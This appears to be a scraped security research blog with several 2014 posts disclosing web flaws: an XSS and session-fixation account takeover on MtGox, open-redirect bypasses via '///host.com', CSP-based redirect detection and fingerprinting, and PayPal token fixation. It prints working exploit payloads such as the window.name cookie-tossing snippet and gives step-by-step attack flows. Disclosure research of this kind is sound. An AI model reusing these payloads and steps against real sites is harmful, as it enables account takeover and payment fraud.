<a href="http://2.bp.blogspot.com/-NHvfEqQxexA/UtqmOBzZawI/AAAAAAAADiY/UV3-5phxVFE/s1600/Screen+Shot+2014-01-18+at+10.39.00+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-NHvfEqQxexA/UtqmOBzZawI/AAAAAAAADiY/UV3-5phxVFE/s1600/Screen+Shot+2014-01-18+at+10.39.00+PM.png" height="166" width="400" /></a></div>
<br />
<br />homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com22tag:blogger.com,1999:blog-8508344381521415235.post-71825382210343542722014-01-14T01:19:00.002-08:002014-01-14T01:33:22.599-08:00Account hijacking on MtGoxIf it wasn't MtGox I wouldn't even mention it — XSS/fixation/etc are web sec routines, and are not worth a blog post.<br />
<br />
But it *is* MtGox. When I started checking bitcoin-related websites it was my target #1. First XSS was found in 5 minutes on payments.mtgox.com, few mins later I discovered session fixation leading to account takeover. Long story short, here's exploit:<br />
<br />
name='document.cookie="SESSION_ID=SID; Domain=.mtgox.com; Path=/code"';<br />
location='https://payment.mtgox.com/38131846-a564-487c-abfb-6c5be47bce27/e6325160-7d49-4a69-b40f-42bb3d2f7b91?payment[cancel]=cancel';<br />
<div>
<br /></div>
<div>
1. Create Checkout button https://www.mtgox.com/merchant/checkout and set Cancel URL to <b>javascript:eval(name);</b></div>
<div>
<br /></div>
<div>
2. Put your payload in window.name and redirect to "https://payment.mtgox.com/38131846-a564-487c-abfb-6c5be47bce27/e6325160-7d49-4a69-b40f-42bb3d2f7b91?payment[cancel]=cancel" (GET-accessible action). MtGox has X-Frame-Options so it won't work in iframe.</div>
<div>
<br /></div>
<div>
3. User is supposed to wait 5 seconds until setTimeout in JS assigns location to our javascript: URL.</div>
<div>
<br /></div>
<div>
4. Get some guest SID with server side and fixate it using this XSS. It's called Cookie tossing, and our cookie shadows original SESSION_ID because more specific Path-s are sent first.</div>
<div>
document.cookie="SESSION_ID=SID; Domain=.mtgox.com; Path=/code"</div>
<div>
<br /></div>
<div>
5. Close the window.</div>
<div>
<br /></div>
<div>
6. Someday user logs in, and his session will stay the same SID. Your server script should run cron task every 5 minutes, checking if SID is still "guest". As soon as user signs in you can use fixated SID to perform any actions on behalf of his account - "Session riding".</div>
<div>
<br /></div>
<div>
<b>Timeline</b></div>
<div>
Jan 11 - vuln reported</div>
<div>
Jan 14 - vuln accepted and fixed in 3 hours. </div>
<div>
<br /></div>
<div>
FYI use nils@tibanne.com as "security@mtgox.com" (MtGox doesn't have neither bounty program nor email for reports). </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-PRpEsymf6F0/UtUAOkGOS-I/AAAAAAAADh0/O6AnJ_uPqDE/s1600/Screen+Shot+2014-01-14+at+3.35.41+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="166" src="http://2.bp.blogspot.com/-PRpEsymf6F0/UtUAOkGOS-I/AAAAAAAADh0/O6AnJ_uPqDE/s1600/Screen+Shot+2014-01-14+at+3.35.41+PM.png" width="640" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<b>Recap</b>:<br />
Even top-notch bitcoin websites are not as secure as <b>payment providers</b> should be. This vulnerability is really easy to find, so I suspect it's been used in the wild. <b>Use 2 factor auth.</b><br />
<br />
In no time bitcoin currency got some good value, but security level of bitcoin websites didn't play along. </div>
homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com11tag:blogger.com,1999:blog-8508344381521415235.post-8318042841965080312014-01-13T03:10:00.001-08:002014-01-13T03:19:54.960-08:00Evolution of Open Redirect Vulnerability.<b>TL;DR</b> ///host.com is parsed as relative-path URL by server side libraries, but Chrome and Firefox violate RFC and load http://host.com instead, creating open-redirect vulnerability for library-based URL validations. This is WontFix, so don't forget to fix your code.<br />
<br />
<span style="font-size: large;">Think as developer. </span><br />
Say, you need to implement /login?next_url=/messages functionality. Some action must verify that the next URL is either relative or absolute but located on the same domain.<br />
<br />
What will you do? Let’s assume you will start with the easiest option - quick regexps and first-letters checks.<br />
1. URL starts with /<br />
Bypass: //host.com<br />
2. URL starts with / but can’t start with //<br />
Bypass: /\host.com<br />
3. At this point you realize your efforts were lame and unprofessional. You will use URL parsing library, following all the RFC-s and such - \ is not allowed char in URL, all libraries wouldn't accept it. Much RFC, very standard.<br />
<br />
require ‘uri’<br />
uri = URI.parse params[:next]<br />
redirect params[:next] unless uri.host or uri.scheme<br />
<br />
Absence of host and scheme clearly says it is a relative URL, doesn’t it?<br />
<b>Bypass for ruby, python, node.js, php, perl</b>: ///host.com<br />
<br />
<span style="font-size: large;">1 is for path, 2 is for host, 3 is for ?</span><br />
https://dvcs.w3.org/hg/url/raw-file/tip/Overview.html#urls<br />
>A scheme-relative URL is "//", optionally followed by userinfo and "@", followed by a host, optionally followed by ":" and a port, optionally followed by either an absolute-path-relative URL or a "?" and a query.<br />
>A path-relative URL is zero or more path segments separated from each other by a "/", optionally followed by a "?" and a query.<br />
A path segment is zero or more URL units, excluding "/" and "?".<br />
<br />
Given we have base location as https://y.com and where will following URLs redirect?<br />
/host.com is a path-relative URL and will obviously load https://y.com/host.com<br />
//host.com is a scheme-relative URL and will use the same scheme, https, hence load https://host.com<br />
The question is where ///host.com (also ////host.com etc) will redirect?<br />
<br />
Out of question, it is a path-relative URL too. Third letter is /, so it can’t be a scheme-relative URL (which is only //, followed by host which doesn’t contain slashes).<br />
It has 2 URL units which are empty strings, concatenated with / and supposed to load https://y.com///host.com<br />
<br />
The thing is, both Chrome and Firefox parse it as a scheme-relative URL and load https://host.com Safari parses it as a path. Opera loads http://///x.com (?!).<br />
<br />
http://www.sakurity.com/triple?to=///host.com#secret<br />
where #secret can be access_token or auth code<br />
<br />
<span style="font-size: large;">Use a Library, Luke</span><br />
Functionality like /login?to=/notifications is very common so can be found almost on any website. Now the question is how Good Programmers validate it?<br />
As proved in the beginning of the post, best practise would be to use URL parser.<br />
<br />
Let’s see how major platforms deal with ?next=///host.com<br />
<br />
<b>Perl (parses as a path)</b><br />
use URI;<br />
print URI->new("///x.com")->path;<br />
<br />
<b>Python (parses as a path)</b><br />
import urllib<br />
>>> urlparse.urlparse('//ya.ru')<br />
ParseResult(scheme='', netloc='ya.ru', path='', params='', query='', fragment='')<br />
>>> urlparse.urlparse('///ya.ru')<br />
ParseResult(scheme='', netloc='', path='/ya.ru', params='', query='', fragment='')<br />
>>> urlparse.urlparse('//////ya.ru')<br />
ParseResult(scheme='', netloc='', path='////ya.ru', params='', query='', fragment='')<br />
<br />
<b>Ruby (parses as a path)</b><br />
1.9.3-p194 :004 > URI.parse('///google.com').path<br />
=> "/google.com"<br />
1.9.3-p194 :005 > URI.parse('///google.com').host<br />
=> nil<br />
<br />
<b>Node.js (parses as a path)</b><br />
> url.parse('//x.com').host<br />
undefined<br />
> url.parse('///x.com').host<br />
undefined<br />
> url.parse('///x.com').path<br />
'///x.com'<br />
<br />
<b>PHP (mad behavior, quite expected)</b><br />
print_r( parse_url("///host.com"));<br />
This doesn’t work (but should). You might be happy but wait, while all languages don’t parse /\host.com because it is not valid PHP gladly parses it as a path.<br />
<br />
print_r( parse_url("/\host.com"));<br />
Thus PHP is vulnerable too.<br />
<br />
<span style="font-size: large;">Security implications</span><br />
Basically, with /\host.com and ///host.com we can get an open redirect for almost any website. Yeah. No matter you have “home made” parser or reliable server-side library - most likely it's vulnerable.<br />
<br />
The only good protection is to respond with full path:<br />
Location: http://myhost/ + params[:next]<br />
<br />
Besides phishing, redirects can exploit many Single Sign On and OAuth solutions: 302 redirect leaks #access_token fragment, and even leads to <b>total account takeover</b> on websites with Facebook Connect (details soon).<br />
<div>
<br /></div>
homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com11tag:blogger.com,1999:blog-8508344381521415235.post-37390563602947816292014-01-13T02:02:00.002-08:002014-01-13T03:24:10.191-08:00Using Content-Security-Policy for Evil<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="background-color: transparent; color: black; font-size: 15px; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><b>TL;DR</b></span><span style="background-color: transparent; color: black; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> How can we use technique created to protect websites for Evil? (We used <a href="http://homakov.blogspot.com/2013/02/hacking-with-xss-auditor.html">XSS Auditor</a> for Evil before) There's a neat way: </span><span style="font-size: 15px; line-height: 1.15; white-space: pre-wrap;">taking advantage of CSP we can detect whether URL1 does redirect to URL2 and even bruteforce /path of URL2/path. This is a conceptual vulnerability in CSP design (violation == detection), and there's no obvious way to fix it.</span></span><br />
<span style="font-family: Arial, Helvetica, sans-serif; font-size: 15px; line-height: 1.15; white-space: pre-wrap;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif; font-size: 15px; line-height: 1.15; white-space: pre-wrap;">Demo & playground: </span><a href="http://homakov.github.io/csp.html" style="font-family: Arial, Helvetica, sans-serif; font-size: 15px; line-height: 1.15; white-space: pre-wrap;">http://homakov.github.io/csp.html</a></div>
<span style="font-family: Arial, Helvetica, sans-serif;"><b style="font-weight: normal;"><br /></b>
</span><br />
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: large;">What is CSP</span></span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><a href="http://content-security-policy.com/">CSP</a> header tells browsers what "inline scripts" and/or 3rd party scripts (you must specify hosts) can be loaded/executed for this page. So if browser sees anything not allowed by the header it raises an exception (Violation). </span><br />
<span style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: 15px; line-height: 1.15; white-space: pre-wrap;">Chrome 16+, Safari 6+, and Firefox 4+ support CSP. IE 10 has very limited support.</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><b style="font-weight: normal;"><img height="147px;" src="https://lh4.googleusercontent.com/at4Xt0hW8QUQdFCOzXFPZhm6zWLA_u0VikV0_gnIZ6U5b4nBAPTFafPgPFxuWpdco714EktIERjZocRSHzw3VSibd3Pnwsbq7rBKE1wWDa586oNdwvrjFPeR" width="624px;" /></b><br /><span style="background-color: transparent; color: black; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">As soon as user hits HOST1 he gets 302 redirect to HOST2 and </span><span style="background-color: transparent; color: black; font-size: 15px; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><b>that's where violation happens</b></span><span style="background-color: transparent; color: black; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, because HOST2 is not allowed by CSP. It sends POST request to /q with "blocked-uri":"http://HOST2" (only hostname, path is stripped for similar security reasons).</span></span><br />
<span style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="background-color: transparent; color: black; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">You can see the exception in console of Web Inspector (but you cannot catch it with JS). </span><img height="55px;" src="https://lh6.googleusercontent.com/oUilWSfGOoMotNXf6atq76fAgnSEZ5fak6G-V4KF3ZRkeQ_6FN7Nq46ZxiIX05XganyOEwW5HM09aUEg6_fot4ba30kwqEVFmqCbIUh5sLFZpRK7FjP9Axuv" width="624px;" /><span style="background-color: transparent; color: black; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"></span></span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="background-color: transparent; color: black; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Just console notice seemed not enough to standard's authors, thus they introduced "</span><span style="background-color: transparent; color: black; font-size: 15px; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><b>report-uri</b></span><span style="background-color: transparent; color: black; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">" directive which notifies host about the violation. User-agent sends POST request with JSON details about Violation.</span></span></div>
<span style="font-family: Arial, Helvetica, sans-serif;"><b style="font-weight: normal;"><span style="background-color: transparent; color: black; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"></span></b>
</span><br />
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<span style="background-color: transparent; color: black; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><b><span style="font-family: Arial, Helvetica, sans-serif; font-size: large;">All kinds of detections are bad.</span></b></span><br />
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Given HOST1 redirects to HOST2 for some users, we can detect if current user was redirected: let's specify HOST1 as allowed host in our CSP using following HTML:</span><br />
<span style="background-color: transparent; color: black; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><meta http-equiv="Content-Security-Policy" content="img-src HOST1;report-uri /q"></span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><img src="HOST1"></span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<span style="font-family: Arial, Helvetica, sans-serif;"><b style="font-weight: normal;"><span style="background-color: transparent; color: black; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"></span></b>
</span><br />
<div dir="ltr" style="margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="background-color: transparent; font-size: 15px; line-height: 17px; vertical-align: baseline; white-space: pre-wrap;"><b>Achievement 1</b></span><span style="background-color: transparent; color: black; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; line-height: 1.15; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">: we can detect if certain URL redirects to HOST2 listening to "report-uri" reports.</span></span></div>
<span style="font-family: Arial, Helvetica, sans-serif;"><b style="font-weight: normal;"><br /><span style="background-color: transparent; color: black; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"></span></b>
</span><br />
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: large;">Privacy, Fingerprints and OAuth.</span></span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">OAuth is based on redirects, and this is a huge framework design issue (more details in other posts).</span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 15px; line-height: 1.15; white-space: pre-wrap;">Client redirects to Provider/auth?client_id=123&redirect_uri=Client/callback and i</span><span style="font-size: 15px; line-height: 1.15; white-space: pre-wrap;">n case this Client is already authorized for current User, Provider redirects to Client/callback automatically.</span></span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Using CSP trick we can check if current User has authorized certain Clients (Farmville, Foursquare or PrivateYahtClubApp). Quickly. We generate something like this:</span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><img src="facebook/?client_id=1&redirect_uri=Client1"></span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><img src="facebook/?client_id=2&redirect_uri=Client2"></span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><img src="facebook/?client_id=3&redirect_uri=Client3"></span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">...</span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">All authorized apps will cause CSP violation report having "blocked-uri":"http://Client1" in it. </span><br />
<span style="background-color: transparent; color: black; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<div dir="ltr" style="line-height: normal; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 15px; line-height: 17px; vertical-align: baseline; white-space: pre-wrap;"><b>Achievement 2</b></span><span style="color: black; font-size: 15px; line-height: 1.15; vertical-align: baseline; white-space: pre-wrap;">: </span><span style="font-size: 15px; line-height: 17px; white-space: pre-wrap;">Using 100-500 most popular FB clients we can build sort of user's fingerprint: what apps you authorize and what websites you frequently visit.</span></span></div>
</div>
<span style="font-family: Arial, Helvetica, sans-serif;"><b style="font-weight: normal;"><span style="background-color: transparent; color: black; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"></span></b><br />
</span><br />
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: large;">Bruteforcing with CSP</span></span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The new implementation of CSP in Chrome (from 16 to current 31+ version) can specify exact URLs, not just host names.</span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Using bunch of allowed URLs we can bruteforce user_id when http://HOST/id redirects to http://HOST/id12345 </span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">For this we will need map-reduce style probing (<a href="http://homakov.blogspot.com/2013/03/brute-forcing-scripts-in-google-chrome.html">I used it before to brute <script>s with XSS Auditor</a>). First we load few iframes with big bunches in CSP header: 1 to 10000, 10000 to 20000 etc.</span></div>
<span style="font-family: Arial, Helvetica, sans-serif;"><b style="font-weight: normal;"><br /><span style="background-color: transparent; color: black; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"></span></b>
</span><br />
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We define in CSP ranges of URLs from id=1 to id=10000, from id=10000 to id=20000 and so on. Every violation will disclose if target id was listed in crafted CSP header. As soon as we reach bunch not raising an exception (10 seconds timeout is enough), we can split that bunch into 10 smaller bunches, 1000 per each, until we figure out target id:</span></div>
<span style="font-family: Arial, Helvetica, sans-serif;"><b style="font-weight: normal;"><br /><span style="background-color: transparent; color: black; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"></span></b>
</span><br />
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><iframe src="/between?from=20000&to=21000"></iframe></span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><iframe src="/between?from=21000&to=22000"></iframe></span></div>
<span style="font-family: Arial, Helvetica, sans-serif;"><b style="font-weight: normal;"><br /><span style="background-color: transparent; color: black; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"></span></b>
</span><br />
<div dir="ltr" style="margin-bottom: 0pt; margin-top: 0pt;">
<div style="line-height: 1.15;">
<span style="background-color: transparent; color: black; font-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">For social network VK (m.vk.com/photos redirects to m.vk.com/photosMYID) process of guessing will take unfeasibly long while, because they have over 100 million accounts. But for smaller websites ranges are smaller and detection is real.</span></div>
<span style="background-color: transparent; font-family: Arial, Helvetica, sans-serif; line-height: 17px; vertical-align: baseline; white-space: pre-wrap;"><span style="font-size: 15px;">
</span><b style="font-size: 15px;">Achievement 3</b><span style="font-size: 15px;">: with map-reduce style bruteforce we can detect /path (not ?query) of redirect destination (URL redirects to HOST2/path).
</span><b><span style="font-size: large;">Onerror/onload detection
</span></b><span style="font-size: 15px;">You might ask: "Will removal of report-uri directive fix this issue?"
No. It is more high level issue. Since CSP blocks not allowed URLs, it doesn't fire up "onload" event, just as X-Frame-Options block doesn't fire it up. Exploit gets even faster:
frame.src = 'data:text/html,<meta http-equiv="Content-Security-Policy" content="img-src '+allowed+';"><img src="'+url+'" </span><b style="font-size: 15px;">onerror=parent.postMessage(1,"*") onload=parent.postMessage(2,"*")>'</b><span style="font-size: 15px;">
</span><b style="font-size: 15px;">Achievement 4</b><span style="font-size: 15px;">: we can really quickly detect if certain URL redirects to HOST2 utilizing onload/onerror events.
</span><b><span style="font-size: large;">Mitigation?
</span></b><span style="font-size: 15px;">IMO we should remove 'report-uri' and invoke 'onload' event even if URL was blocked by CSP. I know, it is confusing approach, but it's the only way to get rid of detection.
My initial report (31 Oct) was marked as <a href="https://code.google.com/p/chromium/issues/detail?id=313737&thanks=313737&ts=1383237203">Severity: none by Chrome</a> and not going to be fixed soon. It will require fixing the standard anyway.
Related issue <a href="http://homakov.blogspot.com/2013/03/pwning-your-privacy-in-all-browsers.html">Pwning privacy with hash based URL detection</a></span></span></div>
<div>
<span style="line-height: 1.15; vertical-align: baseline;">
</span></div>
homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com4tag:blogger.com,1999:blog-8508344381521415235.post-69148343515273791682014-01-09T09:57:00.000-08:002014-01-09T09:59:18.519-08:00Token Fixation in PaypalRemember OAuth1 session fixation? No? Read <a href="http://hueniverse.com/2009/04/explaining-the-oauth-session-fixation-attack/">writeup from Eran Hammer</a> (the guy who hates OAuth2 as much as I do).<br />
<br />
Guess what - there's exact same vulnerability in <a href="https://developer.paypal.com/webapps/developer/docs/classic/express-checkout/overview-ec/#setting-up-the-express-checkout-transaction">Paypal Express Checkout flow</a> (they will not fix it). Furthermore, tons of other payment-related providers can be vulnerable to the same attack. How does it work?<br />
<br />
OAuth1-like flows are based on request_token/invoice id (for example https://bitpay.com/invoice?id=<b>INVOICE</b>). Before using %PROVIDER_NAME% your CLIENT is supposed to make API call with all parameters (client_id, client_secret, redirect_uri, amount, currency, etc). Provider will respond with request_token=TOKEN1. This is your token and it's tied to your Client account.<br />
<br />
Wow, secure! - no URL parameters tampering like we have in OAuth2 (browse my blog a bit to find <a href="http://homakov.blogspot.com/2013/03/oauth1-oauth2-oauth.html">kilobytes of rants about it</a>). But OAuth2 returns "code" which is not guessable. OAuth1 returns the same request_token it received in initial URL. Voila, fixation.<br />
<br />
Thing with Paypal is: no matter who pays this invoice - you will only need to visit Client-Return-URL?token=TOKEN1 to add funds someone paid.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-jDLES_-XsGo/Us7dJT1y9iI/AAAAAAAADgM/tpAQwV6fMGI/s1600/OAuth-Flow-Exploit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-jDLES_-XsGo/Us7dJT1y9iI/AAAAAAAADgM/tpAQwV6fMGI/s1600/OAuth-Flow-Exploit.png" height="640" width="360" /></a></div>
<br />
<br />
How can we trick a victim into paying our TOKEN1?<br />
1. John, you must buy this book! (x=window.open('BOOK STORE'))<br />
2. John clicks Pay with Paypal and gets redirected to Paypal?token=TOKEN2<br />
3. our opener-page should somehow detect that John is about to pay. <a href="http://homakov.blogspot.com/2013/03/pwning-your-privacy-in-all-browsers.html">Hash-based cross domain URL detection can help</a>. We fixate x.location to Paypal?token=TOKEN1<br />
4. Payment is done, user is redirected to Client-Callback?token=TOKEN1 and <b>doesn't get the book</b>. TOKEN1 was issued for other Client session and only attacker can use it on callback.<br />
5. Attacker uses TOKEN1 on return URL, Client does API call to make sure TOKEN1 is paid = Attacker gets the book.<br />
<br />
Successfully tested this hack on Namecheap. This is what victim sees on first step (valid and trustworthy page)<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-pJfF8pD3pQg/Us7hJa2SOYI/AAAAAAAADgY/Ex71xgYeLHQ/s1600/Screen+Shot+2014-01-10+at+12.35.40+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-pJfF8pD3pQg/Us7hJa2SOYI/AAAAAAAADgY/Ex71xgYeLHQ/s1600/Screen+Shot+2014-01-10+at+12.35.40+AM.png" height="277" width="320" /></a></div>
<br />
<br />
